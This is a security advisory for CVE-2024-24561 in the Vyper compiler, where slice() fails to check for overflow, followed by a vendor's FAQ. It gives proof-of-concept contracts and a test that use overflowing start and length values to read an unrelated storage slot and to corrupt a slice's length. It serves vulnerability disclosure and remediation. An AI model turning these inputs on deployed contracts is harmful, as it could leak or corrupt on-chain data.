Summary
Vyper's bounds check on built-in slice() function can be overflowed
The bounds check for slices does not account for the ability for start + length to overflow when the values aren't literals.
If a slice() function uses a non-literal argument for the start or length variable, this creates the ability for an attacker to overflow the bounds check.
This issue can be used to do OOB access to storage, memory or calldata addresses. It can also be used to corrupt the length slot of the respective array.
A contract search was performed and no vulnerable contracts were found in production.
tracking in issue https://github.com/vyperlang/vyper/issues/3756.
patched in https://github.com/vyperlang/vyper/pull/3818.
Details
Here the flow for storage is supposed, but it is generalizable also for the other locations.
When calling slice() on a storage value, there are compile time bounds checks if the start and length values are literals, but of course this cannot happen if they are passed values:
if not is_adhoc_slice:
if length_literal is not None:
if length_literal < 1:
raise ArgumentException("Length cannot be less than 1", length_expr)
if length_literal > arg_type.length:
raise ArgumentException(f"slice out of bounds for {arg_type}", length_expr)
if start_literal is not None:
if start_literal > arg_type.length:
raise ArgumentException(f"slice out of bounds for {arg_type}", start_expr)
if length_literal is not None and start_literal + length_literal > arg_type.length:
raise ArgumentException(f"slice out of bounds for {arg_type}", node)
At runtime, we perform the following equivalent check, but the runtime check does not account for overflows:
["assert", ["le", ["add", start, length], src_len]], # bounds check
The storage slice() function copies bytes directly from storage into memory and returns the memory value of the resulting slice. This means that, if a user is able to input the start or length value, they can force an overflow and access an unrelated storage slot.
In most cases, this will mean they have the ability to forcibly return 0 for the slice, even if this shouldn't be possible. In extreme cases, it will mean they can return another unrelated value from storage.
POC: OOB access
For simplicity, take the following Vyper contract, which takes an argument to determine where in a Bytes[64] bytestring should be sliced. It should only accept a value of zero, and should revert in all other cases.
# @version ^0.3.9
x: public(Bytes[64])
secret: uint256
@external
def __init__():
self.x = empty(Bytes[64])
self.secret = 42
@external
def slice_it(start: uint256) -> Bytes[64]:
return slice(self.x, start, 64)
We can use the following manual storage to demonstrate the vulnerability:
{"x": {"type": "bytes32", "slot": 0}, "secret": {"type": "uint256", "slot": 3618502788666131106986593281521497120414687020801267626233049500247285301248}}
If we run the following test, passing max - 63 as the start value, we will overflow the bounds check, but access the storage slot at 1 + (2**256 - 63) / 32, which is what was set in the above storage layout:
function test__slice_error() public {
c = SuperContract(deployer.deploy_with_custom_storage("src/loose/", "slice_error", "slice_error_storage"));
bytes memory result = c.slice_it(115792089237316195423570985008687907853269984665640564039457584007913129639872); // max - 63
console.logBytes(result);
}
The result is that we return the secret value from storage:
Logs:
0x0000...00002a
POC: length corruption
OOG exception doesn't have to be raised - because of the overflow, only a few bytes can be copied, but the length slot is set with the original input value.
d: public(Bytes[256])
@external
def test():
x : uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256-1
self.d = b"\x01\x02\x03\x04\x05\x06"
# s : Bytes[256] = slice(self.d, 1, x)
assert len(slice(self.d, 1, x))==115792089237316195423570985008687907853269984665640564039457584007913129639935
The corruption of length can be then used to read dirty memory:
@external
def test():
x: uint256 = 115792089237316195423570985008687907853269984665640564039457584007913129639935 # 2**256 - 1
y: uint256 = 22704331223003175573249212746801550559464702875615796870481879217237868556850 # 0x3232323232323232323232323232323232323232323232323232323232323232
z: uint96 = 1
if True:
placeholder : uint256[16] = [y, y, y, y, y, y, y, y, y, y, y, y, y, y, y, y]
s :String[32] = slice(uint2str(z), 1, x) # uint2str(z) == "1"
#print(len(s))
assert slice(s, 1, 2) == "22"
Impact
The built-in slice() method can be used for OOB accesses or the corruption of the length slot.
CVE-2024-24561 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.4.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.
Frequently Asked Questions
- What is CVE-2024-24561? CVE-2024-24561 is a critical-severity security vulnerability in vyper (pip), affecting versions <= 0.3.10. It is fixed in 0.4.0.
- How severe is CVE-2024-24561? CVE-2024-24561 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of vyper are affected by CVE-2024-24561? vyper (pip) versions <= 0.3.10 is affected.
- Is there a fix for CVE-2024-24561? Yes. CVE-2024-24561 is fixed in 0.4.0. Upgrade to this version or later.
- Is CVE-2024-24561 exploitable, and should I be worried? Whether CVE-2024-24561 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2024-24561 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2024-24561? Upgrade
vyperto 0.4.0 or later.